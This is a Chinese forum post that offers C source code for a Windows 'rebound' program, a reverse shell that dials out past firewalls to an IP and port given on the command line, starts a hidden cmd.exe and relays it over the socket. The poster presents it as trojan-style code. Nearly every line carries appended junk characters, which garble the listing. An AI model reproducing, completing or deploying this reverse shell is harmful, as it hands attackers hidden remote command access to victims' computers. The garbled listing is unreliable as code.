社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4711阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E+EcXf  
{X2uFw Gi  
/* ============================== k&:q|[N  
Rebound port in Windows NT @aN~97 H\  
By wind,2006/7 F'>yBDm*OM  
===============================*/ %).I &)i  
#include AX&Emz-  
#include #g@4c3um|  
>TM{2b,(p  
#pragma comment(lib,"wsock32.lib") <,it<$f#  
>Ik%_:CC`  
void OutputShell(); _-H,S)kI`  
SOCKET sClient; o\ce|Dzt  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?Fl O,|   
7p\&D?  
void main(int argc,char **argv) U[Sh){4j  
{ 3?<A]"X.  
WSADATA stWsaData; }6pr.-J  
int nRet; h4itXJy52B  
SOCKADDR_IN stSaiClient,stSaiServer; 5(\/ b<#  
7)1%Z{Dy  
if(argc != 3) ]b>XN8y.  
{ 8dLmsk^  
printf("Useage:\n\rRebound DestIP DestPort\n"); !gV{[j?~zr  
return; :-U& _%#w  
} @:B}QxC  
A-.Wd7^~*  
WSAStartup(MAKEWORD(2,2),&stWsaData); Im-qGB0C  
Z_dL@\#|  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K:qc "Q=C  
pzjNi=vhd  
stSaiClient.sin_family = AF_INET; b@=H$"  
stSaiClient.sin_port = htons(0); ]8OmYU%6V  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Vv5T(~   
<KtL,a=2+  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \p}GW  
{ +:jv )4^O  
printf("Bind Socket Failed!\n"); 6Y6t.j0vN.  
return; w;(=w N\  
} q&3(yhx  
/qwY/^  
stSaiServer.sin_family = AF_INET; !mWm@ }Ujg  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~iiDy;"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i9rv8 "0>  
iD%a;]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |7n%8JsY!"  
{ gaNe\  
printf("Connect Error!"); (4RtoYWW  
return; -qvMMit%7  
} :/6aBM?  
OutputShell(); pbqk  
} @`nG &U  
o(> #}[N}  
void OutputShell() m+7%]$  
{ ?G7*^y&Q  
char szBuff[1024]; Khv}q.)F  
SECURITY_ATTRIBUTES stSecurityAttributes; :5&UWL|  
OSVERSIONINFO stOsversionInfo; wxBZ+UP_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^?\|2H  
STARTUPINFO stStartupInfo; [e _csQ  
char *szShell; a{}#t}  
PROCESS_INFORMATION stProcessInformation; )K::WqR%w)  
unsigned long lBytesRead; ~,)D n  
g] ]6)nT  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); %qE"A6j  
= \oW {?  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3m4 sh~  
stSecurityAttributes.lpSecurityDescriptor = 0; ~ Al3Dv9x  
stSecurityAttributes.bInheritHandle = TRUE; E+e),qsbO  
_\,lv \u  
v$JW7CKA  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?UIW&*h}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Pk(%=P ,  
5! +{JTXa  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .!lLj1?p  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aR@+Qf  
stStartupInfo.wShowWindow = SW_HIDE; CK|AXz+EN  
stStartupInfo.hStdInput = hReadPipe; =|empv#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9AQ,@xP|  
#4"eQ*.*"  
GetVersionEx(&stOsversionInfo); x;} 25A|  
_(~ E8g  
switch(stOsversionInfo.dwPlatformId) UmMu|`  
{ { ] 0T  
case 1: xC0y2+)|  
szShell = "command.com"; R-,L"Vv  
break; ,z`D}< 3  
default: <}c7E3Uc  
szShell = "cmd.exe"; vpdPW%B  
break; XN?my@_HpM  
} :P%?!'M  
8r@GoG>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rFm?Bu  
c(b`eUOO  
send(sClient,szMsg,77,0); r~oUln<[  
while(1) s`[V{1m,  
{ dWi.V?K4z  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); L*4= b (3  
if(lBytesRead) pEN`6*  
{ t,0}}9%?  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _ /.VXW  
send(sClient,szBuff,lBytesRead,0); +7 j/.R  
} 7(C)vtEO:  
else KjF8T7%  
{ %gSmOW2.c^  
lBytesRead=recv(sClient,szBuff,1024,0); aM#xy6:XG  
if(lBytesRead<=0) break; JX&%5sn(  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); eAjR(\f>  
} 63$`KG3  
} 0jxXUWO  
55] MRv  
return; k 7@:e$7  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八